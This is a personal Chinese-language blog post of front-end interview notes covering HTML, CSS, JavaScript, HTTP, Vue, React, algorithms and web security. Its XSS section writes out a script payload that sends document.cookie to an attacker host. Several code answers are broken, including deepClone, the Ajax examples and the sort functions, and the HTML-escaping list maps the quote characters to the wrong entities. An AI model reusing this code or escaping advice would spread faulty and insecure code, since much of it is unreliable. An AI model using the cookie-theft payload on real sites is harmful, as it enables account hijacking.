寫給自己看的面試題整理

瓜坤發表於2019-02-26

待做

框架出處:

套路

  1. 舉例
  2. 將不會的變成會的
  3. 侃侃而談

HTML 押題

  1. 你是如何理解 HTML 語義化的 第一種舉例, 段落用 p, 邊欄用 aside, 主要內容用 main 標籤。

    header、nav 、article 、section 、aside 、footer

    第二種舉例,在很早之前,一部分同事在寫html時,喜歡用 table 來佈局。 table 是用來展示表格的。這其實違反了 HTML 語義化 後來有了專門寫 css 的前端,他們會使用 DIV+CSS 佈局,主要是用 float 和 絕對定位佈局。已經有了 HTML 語義化的意思。 最後,專業化的前端希望使用恰當的標籤來展示內容。而不是全用div,會盡量使用 nav, header, aside, h1, ul, p, main 等標籤。

    第三種,對面試官說請看[我的部落格]//

  2. meta viewport 是做什麼用的,怎麼寫?

    死背: 控制頁面在移動端不要縮小顯示

     <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    複製程式碼

    一開始,所有頁面都是給手機準備的, 賈伯斯推出 iphone 3GS, 頁面是不適應手機螢幕的,所以賈伯斯的工程師想了一個辦法,預設把手機模擬成980px,頁面縮小。後來, 智慧手機開始普及,這個功能在部分網站b誰需要了,所以我們就用 meta:vp 讓手機不要縮小我的網頁。

  3. canvas 元素是幹什麼的?

    MDN 的 canvas 入門手冊

    畫板專案: 我是一個利用canvas實現的畫板

CSS 押題

  1. (必考) 說說盒模型
  • 舉例

    context-box: width == 內容區寬度

    border-box: width == 內容區寬度 + padding + border

    ex. jscode

  1. css reset 和 normalize.css 有什麼區別
  • 考英語:
    • reset 重置, 之前的樣式我不要, a{color: red;}, 拋棄預設樣式
    • normalize 讓所有瀏覽器的標籤都跟標準規定的預設樣式一致,各瀏覽器上的標籤預設樣式基本統一。
  1. (必考) 如何居中

  2. 選擇器的優先順序如何確定?

    • 選擇器越具體,優先順序越高。 #yyy > .yyy
    • 相同優先順序,寫在後面的覆蓋寫在前面的。
    • color: red!important; 優先順序最高。 想辦法把他們寫的差不多長。
  3. BFC 是什麼

    • 舉例:
      • o:h 清除浮動 但是對於清楚浮動有更好的方法 .clearfix 最好不要用 o:h 來清除浮動
      • o:h 取消父子 margin 合併 ex,jscode 也有別的方式解決,padding-top: .1px
  4. 如何清除浮動

    • o:h (並不是一種特別好的解決方案)
    • .clearfix 寫在父元素上
      .clearfix::after {
        content: '';
        display: block;
        clear: both;
      }
      .clearfix {
        zoom: 1; /* IE 相容 */
      }
    複製程式碼

JS 押題

  1. JS 有哪些資料型別

    string, number, bool, undefined, null, object, symbol

    object 包含了陣列,函式, 正則,日期等物件

    一旦出現(陣列、函式、正則、日期、NaN) 直接滾

  2. (必考)Promise 怎麼使用

    • then
        $.ajax().then(成功函式, 失敗函式)
      複製程式碼
    • 鏈式 then
        $.ajax().then(成功函式, 失敗函式).then(成功函式2, 失敗函式2)
      複製程式碼
    • 如何自己生成 Promise 物件
       function xxx() {
         return new Promise(function(resolve, reject) {
           setTimeout(() => {
             resolve() 或者 reject()
           }, 3000)
         })
       }
       xxx.then()
      複製程式碼
  3. (必考) 手寫一下 Ajax?

    答對不加分,打錯直接滾

      let ajax = function(method, path, headers, data, responseCallback) {
        // frank fang
        let xhr = new XMLHttpRequest()
        xhr.open('POST', '/xxxx')
        xhr.onreadystatechange = function() {
          if(xhr.readyState = 4 && xhr.status === 200) {
            responseCallback()
            // log(xhr.responseText)
          }
        }
        xhr.send()
      }
    複製程式碼
  4. (必考) 閉包是啥

     function getAdder() {
       let n = 0 
       return function () {
         n += 1
       }
     }
     let adder  = getAdder()
     adder()  // n === 1
     adder()  // n === 2
     console.log(n) // n is not defined
    複製程式碼

    閉包

  5. 這段程式碼中的 this 指的是?

    • fn() 裡面的 this 就是 window
    • fn() 是 strict mode , this 就是 undefined
    • a.b.c.fn() 裡面的 this 就是 a.b.c
    • new Fn() 裡面的 this 就是新生成的例項
    • () => {console.log(this)} 箭頭函式不改變 this 的指向

    this

  6. (必考) 什麼是立即執行函式? 使用立即執行函式的目的是什麼

      ;(function() { var neme}()) 
      ;(function() { var neme})() 
      !!!!!!function() { var neme}() 
      ~function() { var neme}() 
    複製程式碼

    製造出一個函式作用域, 防止全域性汙染

    ES 6 新語法

    {
      let name
    }
    複製程式碼
  7. async/awit 語法瞭解麼? 目的是什麼?

      function returnPromise() {
        return new Promise(function(resolve, reject) {
          setTimeout(()=>{
            resolve('guakun')
          }, 3000)
        })
      }
      returnPromise().then((result) => {
        result === 'guakun'
      })
    
      let result = await returnPromise()
      result === 'guakun'
    複製程式碼

    目的是把非同步程式碼寫成同步

  8. 如何實現深拷貝

    i. 通過 JSON

      let a = {}
      let b = JSON.parse(JSON.stringify(a))
    複製程式碼

    缺點: JSON 不支援函式、引用、undefined、RegExp、Date

    ii. 遞迴拷貝

      function  getType(obj) {
        let toString = Object.prototype.toString
        let map = {
          '[object String]' : 'string',
          '[object Number]' : 'number',
          '[object Boolean]' : 'boolean',
          '[object Undefined]' : 'undefined',
          '[object Null]' : 'null',
          '[object Object]' : 'object',
          '[object Function]' : 'function',
          '[object Array]' : 'array',
          '[object Date]' : 'date',
          '[object RegExp]' : 'regExp',
        }
        if (obj instance Element) {
          return 'element'
        }
        return map[toString.call(obj)]
      }
      function deepClone(obj) {
        let obj2 
        let type = getType(obj)
        if( type === 'array') {
          obj2 = []
          for (let index = 0; index < obj.length;  index++) {
            obj2.push(deepClone(obj[i]))
          }
        } else if (type ==== 'object') {
          obj2 = {}
          for( let key in obj) {
            ohj2[key] = deepClone(obj[key])
          }
        } else {
          return data
        }
        return obj2
      }
    複製程式碼

    iii. 環

    iv. RegExp、Date、Set、Symbol、WeakMap

  9. 如何實現陣列去重

    i. 計數排序的邏輯(侷限於正整數)

      let a = [4, 2, 5, 6, 3, 5, 4]
      let hashtab = {}
      for(let index = 0; index < a.length; index++) {
        if(! a[index] in hashTab) {
          hashTab[a[index]] = true
        }
      }
      console.log(Object.keys(hashTab))
      function getInt(arr) {
        let newArr = []
        newArr = arr.map((item) => item-0)
        return newArr
      }
      console.log(getInt(Object.keys(hashTab)))
    複製程式碼

    ii. Set 去重

      Array.from(new Set(a))
    複製程式碼

    iii. WeakMap

  10. 如何使用正則實現 string.trim()?

      function trim(string) {
        return string.replace(/^\s+|\s+$/g, '')
      }  
    複製程式碼

    30分鐘入門正規表示式

  11. JS 原型是什麼?

    舉例

    a. let a = [1, 2, 3]

    b. 只有 1,2,3, length 4個key

    c. 為什麼可以 a.push(), push怎麼來的

    d. a.proto = Array.prototype

    e. push 就是沿著 a.proto 找到的, 也就是 Array.prototype.push

    f. Array.prototype 還有很多方法, 如 join、pop、slice、splice

    g.Array.prototype 就是 a 的原型 (proto)

    參考

  12. ES6 中的 class 瞭解麼?

    • 把 mdn 的 class 章節看完
    • 掌握一個例子

    ECMAScript 2015 中引入的 JavaScript 類實質上是 JavaScript 現有的基於原型的繼承的語法糖。類語法不會為JavaScript引入新的物件導向的繼承模型。

    補充一個函式宣告提升的連結

  13. JS 如何實現繼承

    • 原型鏈
      function Animal() {
        this.body = 'body'
      }
      Animal.prototype.move = function() {
        console.log('move')
      }
      function Human(name) {
        Animal.apply(this, arguments)
        this.name = name
      }
      // Human.prototype._proto_ = Animal.prototype // 非法
      let f = function() {}
      f.prototype = Animal.prototype
      Human.prototype = new f()
      Human.prototype.useTools = function() {
        console.log('use tools')
      }
      let guakun = new Human('guakun')
    複製程式碼
    • 使用 extends 關鍵字
    class Animal{
      constructor(){
        this.body = 'body'
      }
      move() {
        console.log('move')
      }
    }
    class Human extends Animal {
      constructor(name) {
        super()
        this.name = name
      }
      useTools() {
        console.log('use tools')
      }
    }
    let guapi = new Human('guapi')
    複製程式碼
  14. 所有 == 的問題 反著答(棄療)

DOM 押題

  1. DOM 事件的模型是什麼?

    瀏覽器可以捕獲的事件

    這個例子的結果

    1. 冒泡
    2. 捕獲
    3. 如果這個元素是被點選的元素,那麼捕獲不一定在冒泡之前,順序是由監聽順序決定的
  2. 移動端的觸控事件瞭解麼?

    i. touchstart touchmove touchend touchcancle

    ii. 模擬 swipe 事件:記錄兩次 touchmove 的位置差,如果後一次在前一次的右邊,說明右滑了。(忽然想到輪播 css js)

  3. 事件委託是什麼?有什麼好處?

    i. 假設父元素有 4 個兒子, 我不監聽這四個兒子, 而是監聽父元素,看觸發事件的是哪個兒子, 這就是事件委託。

    ii. 可以監聽尚未出生的兒子(動態生成的元素) 省監聽器

      function listen(elemnet, eventType, selector, fn) {
        element.addEventListener(eventType, e => {
          if(e.target.matches(selector)) {
            fn.call(el, e, el)
          }
        })
      } // 應付面試的版本
    複製程式碼
    // 完美事件委託 來自造輪子
    function  listen(element, eventType, selector, fn) {
      elemnet.addEventListener(eventType, e => {
        let el = e.target
        while(!el.matches(selector)) {
          if(element === el) {
            el = null
            break
          }
          el = el.parentNode
        }
        el && fn.call(el, e, el)
      })
    }
    listen(ul, 'click', li, () => {})
    ul > li*5 > span
    複製程式碼

HTTP 押題

  1. HTTP 狀態碼知道哪些?

    去看 mdn http

  2. 301 和 302 的區別是什麼

    i. 301永久重定向,瀏覽器會記住

    ii.302 臨時重定向

  3. HTTP 快取怎麼做

    1. Catche-Control: max-age=300
    2. cdn.com/1.js?v=1 避開快取
  4. Cache-Control 和 Etag 的區別是什麼

    自己查一下

  5. Cookie 是什麼? Session是什麼?

    • Cookie

      1. HTTP 響應通過設定 Set-Cookie 設定 Cookie
      2. 瀏覽器訪問指定域名必須帶上 Cookie 作為 Request Header
      3. Cookie 一般用來記錄使用者資訊
    • Session

      1. Session 是服務端的記憶體(資料)
      2. Session 一般通過在 Cookie 裡記錄 SessionID 實現
      3. SeesionID 一般是隨機數
  6. LocalStorage 和 Cookie 的區別是什麼?

    1. Cookie 會隨請求被髮送到伺服器上,LocalStrorage不會
    2. Cookie 大小一般在 4kb 以下, localstorage 一般 5mb 左右
  7. (必考) GET 和 POST 的區別是什麼?

    1. 引數。 GET 的引數放在 url 的查詢引數裡,POST 的引數(資料) 放在請求訊息體裡。
    2. 安全(都不安全)。 GET 沒有 POST 安全
    3. GET的引數(url 查詢引數)有長度限制,一般是 1024 個字元。 POST 的引數(資料) 沒有長度限制(也有 4~10mb 限制)
    4. 包。 GET請求只需要發一個包,POST請求需要發兩個以上包(因為POST有訊息體)(其實,GET也可以用訊息體)
    5. GET用來讀資料, POST用來寫資料,POST不冪等(冪等的意思是不管發多少次請求, 結果都一樣。)
  8. (必考) 怎麼跨域? JSONP是什麼? CORS是什麼? postMessage是什麼?

    1. JSONP
    2. CORS
    3. postMessage 看下 MDN

Vue 押題

  1. (必考) Vue有哪些生命週期鉤子函式?

    文件

  2. (必考)Vue 如何實現元件通訊?

    1. 父子通訊(使用 Props 傳遞資料、使用 v-on 繫結自定義事件)
    2. 爺孫通訊(通過兩對父子通訊,爺爺之間父子通訊,爸兒之間父子通訊)
    3. 兄弟通訊 (new Vue() 作為 eventBus)
  3. Vuex 的作用是什麼?

  4. VueRouter 路由是什麼?

    • 看文件 部落格
  5. Vue 的雙向資料繫結是如何實現的?有什麼缺點?

  6. Computed 計算屬性的用法? 跟 Methods 的區別。

    大佬說

React 押題

  1. React 生命週期

    1. 例項化

      1. getDefaultProps
      2. getInitialState
      3. componentWillMount
      4. render
      5. componentDidMount
    2. 存在期

      1. componentWillRecieveProps
      2. shouldComponentUpdate
      3. componentWillUpdate
      4. componentDidUpdate
    3. 銷燬期

      1. componentWillUnmount
  2. React Render 做了什麼

    JSX 語法糖

    React render

  3. 呼叫 setState 之後發生了什麼?

演算法押題

  1. 排序(背誦氣泡排序、選擇排序、計數排序、快速排序、插入排序、歸併排序)

    • js Array.prototype.sort 方法瞭解一下?
      const swap(arr, a, b) {
        // a, b 是下標
        let t = arr[a] 
        arr[a] = arr[b]
        arr[b] = t
      }
    複製程式碼
      const arr = [8, 100, 50, 22, 15, 6, 1, 1000, 999, 0]
      window.Array.prototype.sort.call(arr, function(a, b) {
        return a - b
      })
      arr
    複製程式碼
    • 冒泡
      const arr = [8, 100, 50, 22, 15, 6, 1, 1000, 999, 0]
      const bubleSort = function(arr) {
        for(let j = arr.length; j > 1; j--) {
          for(let i = 0; i < arr.length - 1; i++) {
            if (arr[i] > arr[i+1]) {
              let t = arr[i]
              arr[i] = arr[i+1]
              arr[i+1] = t
            }
          }
        }
        return arr
      }
      const x = bubleSort(arr)
      x
    複製程式碼
    • 選擇
      const arr = [8, 100, 50, 22, 15, 6, 1, 1000, 999, 0]
      const selectSort = function() {
        let index
        for(let i = 0; i < arr.length; i++) {
          index = i
          for(let j = i + 1; j < arr.length; j++) {
            if(arr[index] > arr[j]) {
              index = j
            }
          }
          if(index !== i) {
            let t = arr[i]
            arr[i] = arr[index]
            arr[index] = t
          }
        }
        return arr
      }
      const x = selectSort(arr)
      x
    複製程式碼
    • 計數
      // 有一定的侷限 只能用於整數
      const counterSort = function() {
        
      }
    複製程式碼
    • 快速

        const arr = [6, 1, 2, 7, 9, 3, 4, 5, 10, 8]
        const quickSort(arr) {
          if(arr.length <= 1) {
            return arr
          }
          let midPos = Math.floor(arr.length / 2)
          // 呼叫了 js 原生 api 懶得寫了 大體就是用 二分的思想吧--。
        }
      複製程式碼
    • 插入

      // 從後往前比較 知道碰到比當前項還要小的前一項時 將這一項插入到前一項的後面
    複製程式碼
    • 歸併
  2. 二分查詢法

  3. 翻轉二叉樹

第三個二叉樹暫時先放棄了....

安全押題

  1. 什麼是 XSS(跨站指令碼攻擊(Cross Site Scripting)) 攻擊? 如何預防?

    大佬說

    • 舉例
     div.innerHTML = useComment
     // 某使用者提交了惡意評論
     userComment = <script>$.get('http://hacker.com?cookie='+document.cookie)</script>
     // 惡意程式碼就被執行了, 這就是 XSS
    複製程式碼
    • 預防

      1. 不要使用 innerHTML, 改成 innnerText, script 就會被當成文字,不執行

      2. 如果你一定要使用 innerHTML, 字元過濾

        • 把 < 替換成 &lt;
        • 把 > 替換成 &gt;
        • 把 & 替換成 &amp;
        • 把 " 替換成 &#39;
        • 把 ' 替換成 &quot;

      替換上面5個字元即可,更多 html實體

      1. 使用 CSP Content Security Policy
  2. 什麼是 CSRF(Cross-site request forgery 跨站請求偽造) 攻擊? 如何預防?

    大佬說

    • 過程

      1. 使用者在 qq.com 登入
      2. 使用者切換到 hacker.com(惡意網站)
      3. hacker.com 傳送一個 qq.com/add_friend 請求, 讓當前使用者新增 hacker 為好友
      4. 使用者在不知不覺中新增了 hacker 為好友
      5. 使用者沒有想發這個請求,但是 hacker 偽造使用者發請求的假象。
    • 避免

      1. 檢查 referer, qq.com 可以拒絕來自 hacker.com 的請求
      2. csrf_tocken 解決

Webpack 題

  1. 轉譯出來的檔案過大怎麼辦?

    • 使用 code split
    • 寫法 import('xxx').then(xxx => {console.log(xxx)})
    • xxx 模組就是按需載入的
  2. 轉譯速度慢怎麼辦?

    • 不會呀.... 想死
    • 換臺電腦吧...
  3. 寫過 webpack loader 麼?

    勉強算寫過

發散題

  1. 從輸入 URL 到頁面展現中間發生了什麼?

    1. DNS 查詢DNS快取
    2. 簡歷 TCP 連線(三次握手) (連線複用...)
    3. 傳送 HTTP 請求 (請求的四部分????)
    4. 後臺處理請求
      1. 監聽80埠
      2. 路由
      3. 渲染 HTML 模板
      4. 生成響應
    5. 傳送HTTP 響應
    6. 關閉 TCP 連線(四次揮手)
    7. 解析HTML
    8. 下載 css(快取...
    9. 解析 css
    10. 下載 JS (快取
    11. 解析 JS
    12. 下載圖片
    13. 解析圖片
    14. 渲染 DOM 樹
    15. 渲染樣式樹
    16. 執行js

    前端向總結

  2. 你一年工作經驗是否足以勝任工作

    1. 開始問 直接涼
    2. 中間 最後問.. 他想壓價
    3. 我... 給他看之前的專案?
  3. 你遇到過最難的問題是什麼?

    一波三折(講故事模板

    1. 最開始 websocket 伺服器的搭建,遇到一部分資料處理的問題
    2. 去網上搜尋解決方案..
    3. 發現資料依然不符合預期
    4. 網上的程式碼不能很好的滿足需求
    5. emms... 面向stackoverflow程式設計吧...
  4. 你的期望薪資是多少?

    +2000(壓價用)

  5. 實在不會

    1. 承認
    2. 詢問詳細細節: 你問的是不是 xxx 方面的解決方案
    3. 尋找相近話題

程式碼題

  1. map + parseInt

     // 給出 [1, 2, 3].map(parseInt) 的輸出結果
      parseInt(1,0, array) // 1
      parseInt(2,1, array) // NaN
      parseInt(3,2, array) // NaN
    複製程式碼
  2. a.x = a = {}

      var a = {n:1};
      var b = a;
      a.x = a = {n:2};
    複製程式碼

    本題記憶體圖

  3. (a == 1 && a == 2 && a == 3) 可能為 true

    能(棄療)

    • 原理
    a = {
      value: 0,
      toString(){
        a.value += 1
        return a.value 
      }
    }
    複製程式碼

京東筆試題:

  1. 手寫 Ajax 工具類,例如 request(url, option)

      const request = function(url, option) {
        let xhr = new XMLHttpRequest()
        xhr.open(option, url)
        xhr.onreadystatechange = function() {
          if(xhr.readyState === 4 && xhr.status === 200) {
            // responseCallback()
            console.log(xhr.responseText)
          }
        }
      }
    複製程式碼
  2. 跨域有哪些解決方案。 說說JSONP的實現。

    1. JSONP
      function jsonp(setting) {
        settings.data = settings.data || {}
        settings.key = settings.key || 'callback'
        settings.callback = settings.callback || function() {}
        settings.data[settings.key] = '__onGetData__'
        window.__onGetData__ = function(data) {
          settings.callback(data)
        }
        let script = document.createElement('script')
        let query = []
        for(let key in settings.data) {
          query.push(key + '=' + encodeURIComponent(settings.data[key]))
        }
        script.src = settings.url + '?' + query.join('&')
        document.head.appendChild(script)   
        document.head.removeChild(script)
      }
      jsonp({
        url: 'http://photo.sina.cn/aj/index',
        key: 'jsoncallback',
        data: {
          page: 1,
          cate: 'recommend',
        },
        callback: function(ret) {
          console.log(ret)
        }
      })
    複製程式碼

    Example

    1. CORS-跨域資源訪問

      阮一峰

  3. js有哪些實現繼承的方式。 閉包是什麼?

    1. class extends
    2. 閉包
      1. 第一種說法 閉包可以用來間接訪問一個變數,閉包可以用來隱藏一個變數
      2. 第二種說法: 閉包返回一個函式,這個函式可以操作其他函式內部的變數
        function getAdder() {
          let n = 0
          return function() {
            n++
            console.log('n: ', n)
          }
        }
        let adder = getAdder()
        adder()
        adder()
      複製程式碼
  4. 寫一個函式把手機號格式化: 13499991212 => 134 9999 1212

  5. 寫出一下程式碼的輸出結果

      let leng = 1
      function fn() {
        console.log(this.leng)
      }
      let obj = {
        leng: 2,
        method1: function(fn) {
          fn() // undefined
          fn.call(this) // 2
          arguments[0]() // undefined
        },
        method2: function() {
          document.addEventListener('click', evt => this.method3(evt.type), false)
        },
        method3: function(type) {
          console.log(type + ' : ' + this.leng ) // 'click: 2'
        },
      }
      obj.method1(fn)
      obj.method2(fn)
      // 點選頁面之後列印什麼?
    複製程式碼
  6. 寫出下面程式碼的輸出結果

      let reg = /abc/g
      let str = 'abcd'
      reg.test(str) // true
      reg.test(str) // false
    複製程式碼
  7. 寫出一個複製物件的方法 包括淺複製 和 深複製

      // 淺
      let person = {
        age: 18,
        name: 'guakun',
        hobby: {
          first: 'code',
          second: 'code',
        }
      }
      let person2 = {}
      for(key in person) {
        person2[key] = person[key]
      }
    複製程式碼
  8. 寫出下面程式碼的輸出結果

    console.log(1)
    setTimeout(function() {
      console.log(2)
    }, 0)
    console.log(3)
    複製程式碼
  9. 寫出下面程式碼的輸出結果

      let p1 = {name: 'john', age: 30}
      let p2 = {name: 'lucy', age: 20}
    
      function modify1(obj) {
        p1 = {name: 'backus'}
      }
      function modify2(obj) {
        obj.name = 'guakun'
      }
    
      modify1(p1)
      modify2(p2)
    
      console.log(p1) // {name: 'backus'}
      console.log(p2) // {name: 'guakun', age: 20}
    複製程式碼
  10. 如何實現以下效果

    function add(num1) {
      return function(num2) {
        console.log(num1+num2)
      }
    }
    add(2)(5)
    複製程式碼
  11. 解釋一下變數提升(hoisting)

  12. 事件物件的 target 和 currentTarget 屬性有什麼區別

    1. event.target 返回的是觸發事件的元素
    2. event.currentTarget 返回的是繫結事件的元素
  13. DOM 事件流是什麼,各瀏覽器的相容性

    捕獲和冒泡 相容性的問題我不會

  14. load 和 DOM ready 有什麼區別?

    看這

  15. 寫一個找出陣列中重複元素的函式, 例如[0, 1, 2, 3, 4, 1, 4] 返回[1, 4]

      //計數排序
      let a = [0, 1, 2, 3, 4, 1, 4]
      let hashTab = {}
      let repeateHashTab = {}
      for(let index = 0; index < a.length; index++) {
        if(!(a[index] in hashTab)){
          hashTab[a[index]] = true
        } else {
          repeateHashTab[a[index]] = true
        }
      }
      console.log(Object.keys(repeateHashTab))
      function getInt(arr) {
        let newArr = []
        newArr = arr.map((item) => item-0)
        return newArr
      }
      console.log(getInt(Object.keys(hashTab)))
    複製程式碼
  16. 如何提高滾動事件的效能

    1. 防抖

      防抖技術即是可以把多個順序地呼叫合併成一次,也就是在一定時間內,規定事件被觸發的次數。

      // 防抖動函式  
      function debounce(func, wait, immediate) {  
          var timeout;  
          return function() {  
              var context = this, args = arguments;  
              var later = function() {  
                  timeout = null;  
                  if (!immediate) func.apply(context, args);  
              };  
              var callNow = immediate & !timeout;  
              clearTimeout(timeout);  
              timeout = setTimeout(later, wait);  
              if (callNow) func.apply(context, args);  
          };  
      };  
        
      var myEfficientFn = debounce(function() {  
          // 滾動中的真正的操作  
      }, 250);  
        
      // 繫結監聽  
      window.addEventListener('resize', myEfficientFn);  
      複製程式碼
    2. 節流

      防抖函式確實不錯,但是也存在問題,譬如圖片的懶載入,我們希望在下滑過程中圖片不斷的被載入出來,而不是隻有當停止下滑時候,圖片才被載入出來。 這個時候,我們希望即使頁面在不斷被滾動,但是滾動 handler 也可以以一定的頻率被觸發(譬如 250ms 觸發一次),這類場景,就要用到另一種技巧,稱為節流函式(throttling)。 節流函式:只允許一個函式在 X 毫秒內執行一次。 與防抖相比,節流函式最主要的不同在於它保證在 X 毫秒內至少執行一次我們希望觸發的事件 handler。 同樣是利用定時器,看看簡單的示例

        // 簡單的節流函式  
        function throttle(func, wait, mustRun) {  
            var timeout,  
                startTime = new Date();  
          
            return function() {  
                var context = this,  
                    args = arguments,  
                    curTime = new Date();  
          
                clearTimeout(timeout);  
                // 如果達到了規定的觸發時間間隔,觸發 handler  
                if(curTime - startTime >= mustRun){  
                    func.apply(context,args);  
                    startTime = curTime;  
                // 沒達到觸發間隔,重新設定定時器  
                }else{  
                    timeout = setTimeout(func, wait);  
                }  
            };  
        };  
        // 實際想繫結在 scroll 事件上的 handler  
        function realFunc(){  
            console.log("Success");  
        }  
        // 採用了節流函式  
        window.addEventListener('scroll',throttle(realFunc,500,1000));  
      複製程式碼
  17. 談下對 Promise 的理解

      一種優雅的非同步解決方案
      // q
      function Promise() {
        return 
      }
    
      let promise = new Promise(function(x, y) {
        setTimeout(()=>{
          x(101)
        }, 3000)
      })
      promise.then((z) => {
        console.log(z)
      })
      // a
      function Promise(fn) {
        let status = 'pending'
    
        function successNotify() {
          status = 'resolved'
          toDoThen()
        }
    
        function failNotify() {
          status = 'rejected'
          toDoThen()
        }
    
        function toDoThen() {
          if(status === 'resolved') {
            for(let i=0; i< successArray.length; i++) {
              successArray[i].call()
            }
          } else if(status === 'rejected') {
            for(let i=0; i<failArray.length; i++) {
              failArray[i].call()
            }
          } 
        }
    
        let successArray = []
        let failArray = []
    
        fn.call(undefined, successNotify, failNotify)
    
        return {
          then: function(successFn, failFn) {
            successArray.push(successFn)
            failArray.push(failFn)
            return undefined  // 簡化
          }
        }
      }
    
    複製程式碼
  18. 寫出下面程式碼的輸出結果(es6)

    let x = 3
    function fn (y = x) {
      let x = 4
      console.log(y)
    }
    fn()
    // out: 3
    複製程式碼

相關文章